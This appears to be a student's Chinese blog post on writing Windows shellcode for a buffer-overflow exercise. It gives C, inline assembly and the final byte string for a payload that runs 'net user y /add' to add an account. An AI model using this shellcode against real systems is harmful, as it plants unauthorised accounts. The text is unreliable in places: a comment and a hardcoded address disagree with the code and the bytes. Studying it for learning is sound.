我们接着(一)继续实现
Shell code编写
#include <windows.h>
int main()
{
LoadLibrary("msvcrt.dll");
system("net user y /add");
return 0;
}
上诉代码可以实现再windows里添加一名标准用户“y"
但是要将上面的语句改为汇编语言,就必须先找到
system, LoadLibrary
的地址
#include <windows.h>
#include <stdio.h>
typedef void (*MYPROC)(LPTSTR);
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;
LibHandle = LoadLibrary("msvcrt");
printf("msvcrt LibHandle = //x%x\n", LibHandle);
ProcAdd=(MYPROC)GetProcAddress(LibHandle,"system");
printf("system = //x%x\n", ProcAdd);
LibHandle = LoadLibrary("kernel32");
printf("kernel32 LibHandle = //x%x\n", LibHandle);
ProcAdd=(MYPROC)GetProcAddress(LibHandle,"LoadLibraryA");
printf("LoadLibrary = //x%x\n", ProcAdd);
return 0;
}
运行后找到对应的地址
汇编语言
LoadLibrary(“msvcrt.dll”)
_asm
{
// LoadLibrary("msvcrt.dll");
push ebp
mov ebp,esp
xor eax,eax
push eax
push eax
push eax
mov byte ptr[ebp-0Ch],4Dh
mov byte ptr[ebp-0Bh],53h
mov byte ptr[ebp-0Ah],56h
mov byte ptr[ebp-09h],43h
mov byte ptr[ebp-08h],52h
mov byte ptr[ebp-07h],54h
mov byte ptr[ebp-06h],2Eh
mov byte ptr[ebp-05h],44h
mov byte ptr[ebp-04h],4Ch
mov byte ptr[ebp-03h],4Ch
lea eax,[ebp-0Ch]
push eax
mov edx,0x7620de15 //LoadLibrary
call edx
}
system(“net user y /add”);
_asm
{
mov esp,ebp ; 把ebp的内容赋值给esp
push ebp ; 保存ebp,esp则减4
mov ebp,esp ; 给ebp赋新值,将作为局部变量的基指针
xor edi,edi ;
push edi ; 压入0,esp-4,作用是构造字符串的结尾\0字符
push edi
push edi
push edi ; 加上上面,一共有16个字节,用来放“net user c /add”
mov byte ptr [ebp-0Fh],6eh ;n
mov byte ptr [ebp-0eh],65h ;e
mov byte ptr [ebp-0dh],74h ;t
mov byte ptr [ebp-0ch],20h ;
mov byte ptr [ebp-0bh],75h ;u
mov byte ptr [ebp-0ah],73h ;s
mov byte ptr [ebp-09h],65h ;e
mov byte ptr [ebp-08h],72h ;r
mov byte ptr [ebp-07h],20h ;
mov byte ptr [ebp-06h],79h ;y
mov byte ptr [ebp-05h],20h ;
mov byte ptr [ebp-04h],2Fh ;/
mov byte ptr [ebp-03h],61h ;a
mov byte ptr [ebp-02h],64h ;d
mov byte ptr [ebp-01h],0h ;0
lea eax,[ebp-0fh] ;
push eax ;
mov eax, 0x7723b177 ; system函数地址
call eax ; 调用system
}
我们采取(一)中同样的办法
设置断点
alt+8找到对应地址
alt+6
在处理后我们得到了
shellcode=\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\x8D\x45\xF4\x50\xBA\x15\xDE\xFA\x76\xFF\xD2\x8B\xE5\x55\x8B\xEC\x33\xFF\x57\x57\x57\x57\xC6\x45\xF1\x6E\xC6\x45\xF2\x65\xC6\x45\xF3\x74\xC6\x45\xF4\x20\xC6\x45\xF5\x75\xC6\x45\xF6\x73\xC6\x45\xF7\x65\xC6\x45\xF8\x72\xC6\x45\xF9\x20\xC6\x45\xFA\x79\xC6\x45\xFB\x20\xC6\x45\xFC\x2F\xC6\x45\xFD\x61\xC6\x45\xFE\x64\xC6\x45\xFF\x00\x8D\x45\xF1\x50\xB8\x77\xB1\x23\x77\xFF\xD0
溢出
当我想在(一)的基础上直接运行出现了错误,在询问了同学后,被告知可以在dev成功运行
(还有人是通过删除几个/x41(a)后获得了成功)
这边是在xp上实现了的(如果明天课上能弄清楚道理,再回来更新)
参考书目
Q版缓冲区溢出教程